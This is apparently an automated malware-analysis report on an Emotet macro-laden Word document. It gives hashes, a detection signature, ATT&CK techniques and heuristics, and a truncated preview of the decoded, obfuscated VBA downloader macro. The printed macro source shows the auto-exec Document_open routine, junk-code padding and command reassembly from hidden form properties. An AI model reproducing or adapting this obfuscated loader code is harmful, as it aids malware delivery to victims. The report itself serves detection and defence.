Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 76b5714ab3cfecfa…

MALICIOUS

Office (OLE)

197.0 KB Created: 2019-12-18 08:14:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5414a7fe42650d5b56a4df71b4908524 SHA-1: 4e12e904a74572d70ccabfe1fe6bf64ab5891fb9 SHA-256: 76b5714ab3cfecfa9b10e7ac7a01d6fbd2c4b2556611b07613708a03c032f255
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7464351-0. Critical heuristics indicate the presence of a VBA UserForm hidden-property command stager, which is designed to auto-execute and likely download a second-stage payload. The Document_Open macro is present, further supporting the execution of malicious code upon opening the document.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7464351-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464351-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10680 bytes
SHA-256: 735c7348189bec3d0f5209f59be363cada8ae1ff8fd2e6a4a9c83a586a7dd0fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ohzfpovte"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Okwrtmcmokcs, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Vgvlvktybvj
         Case Kyysnhlim
   Rzciwhkfx = Sin(Wtqtbsugkd)
   Zcdfgxdfjspuw = CStr(Cukeicybec)
   Sngcbgacg = 324
   Ehuyceev = Sin(Hslazcwaaycm)
   Rdpoovfeir = CStr(Ndvxagwnkvucc)
   Cguzrrkh = 567
   Qhbodjttcpt = Sin(Yvqdawjm)
   Sdyospfdww = CStr(Zvyglajank)
   Vebnjkqb = 5645
End Select
For Jkfubdwmxitow = Tlidlxifu To Ostlfifdmnb
      While Fdbmokhhgipyh <> Yafkbnpesldk
         Iqsukxiwvrkl = Jemxkmeli * Atn(Kpyiblzyoxr) * (Xalcfozqh + Oyfawpxibfzh)
      Wend
Next
   Select Case Wmrasvwsic
         Case Lvwgaxvcvafmh
   Gfxcdgblx = Sin(Zepcdabr)
   Qfblmjnvh = CStr(Fpqmkaqpkjyp)
   Qmtxfkpnapawq = 324
   Oqqljtpyptalb = Sin(Sqdnvwuycudso)
   Ojzsvshdne = CStr(Deeznxexjsd)
   Usoqgbax = 567
   Qmiudknqi = Sin(Quxvpvkddv)
   Sbasmgda = CStr(Znnfdamw)
   Brdyqvrfquzj = 5645
End Select
For Qtdrbjftsq = Ikrjrhsmbb To Brpxkwbp
      While Pkxuutpi <> Dgmhohcrryh
         Apjuhjwofhevh = Myxtcjzvehjct * Atn(Ewaowelzhzczx) * (Mgwgfsaol + Ufmxgdfg)
      Wend
Next
   Select Case Lwvpsjsqzamt
         Case Igfsjmpam
   Brbnflat = Sin(Zqrjrxuzwqxjq)
   Nvumfkkhl = CStr(Rdtpmzqlipoj)
   Vbqxfsbjfsq = 324
   Rlpjfsagq = Sin(Exsejrzlc)
   Itjfypixaz = CStr(Zatgiqrhewjt)
   Xantedjhcvzzu = 567
   Sehyeteplqulq = Sin(Kqxysikhuc)
   Xygjwgjmrbvd = CStr(Kbcjrtbqlicv)
   Iwnwvcgqfhy = 5645
End Select
For Tvivtszxi = Kqpgnygaot To Ozhdmuwvlmmi
      While Nidtsarc <> Mzdgaxqnq
         Wlpmdlkzxdhl = Yxuacdlncr * Atn(Punvyruiqwn) * (Pgdobfoswca + Nxijjxzmvp)
      Wend
Next
Hlapdnjk
End Sub

Attribute VB_Name = "Svwebryswbx"
Attribute VB_Base = "0{E63A8E29-ECBB-4891-834E-6C8A7EB38957}{AC36B4C4-DB8F-4E14-AAD0-E9DD8E767F8E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Syiycnhxkbedn"
Function Pvpmmwkzwdlme()
   Select Case Wsmdwaydefns
         Case Keeepqlxzrhu
   Epaikfajghwan = Sin(Dvbmvbzswra)
   Tuwbqazpefint = CStr(Xiocaivvgiove)
   Rjybplku = 324
   Mzyqsybzbvn = Sin(Grxzqtbfusaoy)
   Mmmoepoixenj = CStr(Ccqokrjsltaii)
   Yctjinpiz = 567
   Siaudjojrq = Sin(Oxjubsnvhwbyc)
   Eintrrbz = CStr(Qqqtyarocfmz)
   Plbbwhbskjj = 5645
End Select
For Wsimyick = Ciwjkznnfozdf To Ctqyggky
      While Wutnqqdnoztz <> Swweldtmtmvp
         Wqskapofua = Wqrphcvyfjkgm * Atn(Jbhsberr) * (Izidncvpn + Udesungm)
      Wend
Next
Dwyjwtrbgp = Ohzfpovte.Okwrtmcmokcs
   Select Case Apeitobvjaxx
         Case Akvcidef
   Ikyjtfnwfmq = Sin(Nxbeozgfwtbl)
   Rnenvunaips = CStr(Mbrnlvpi)
   Zpgollqxy = 324
   Wiayukhmoml = Sin(Teefpqnglhey)
   Cprsulnqt = CStr(Qkhvqundlvh)
   Hidjkavafe = 567
   Wtrahclnqzffl = Sin(Rudkvjglli)
   Svpkfcytb = CStr(Esvsuhcx)
   Nefcuknqhfs = 5645
End Select
For Ssapzdmblusys = Lejkfreqkhl To Dtqkbwdzus
      While Mmcjmdckxedw <> Eocphnlbyseix
         Qrlfqsecgxdjg = Ptcdroxekpilo * Atn(Egfogmrqr) * (Mwsdeenz + Ftehtnbqhh)
      Wend
Next
Jltfxipurrvv = Dwyjwtrbgp + Svwebryswbx.Artcdlagwia + Svwebryswbx.Ojskbjakj + Svwebryswbx.Gpihqmcxuyw
   Select Case Aldrmcty
         Case Hmjgoeuxblzy
   Siuonsultylu = Sin(Phaokhspwdpi)
   Pfccgjzeif = CStr(Avtkutob)
   Kloxbclryemh = 324
   Wjohtkzvcgh = Sin(Miwueevuqoihw)
   Ghrszfolfhi = CStr(Pihqefyicjid)
   Fugzxriovooy = 567
   Xqnwhafigrcqu = Sin(Xjpxmiqyh)
   Mamtcgoal = CStr(Lvanxopxgwaky)
   Afpgsflbofvno = 5645
End Select
For Twtbxuxz = Jkejlqon To Jketqaumh
      While Aaederxi <> Geeivhsd
         Ajqsirzkw = Rjbjjzghzr * Atn(Cdgalusc) * (Uaqjmumrmles + Czmimwqqvjoo)
      Wend
Next
Rplojgrhtx
... (truncated)

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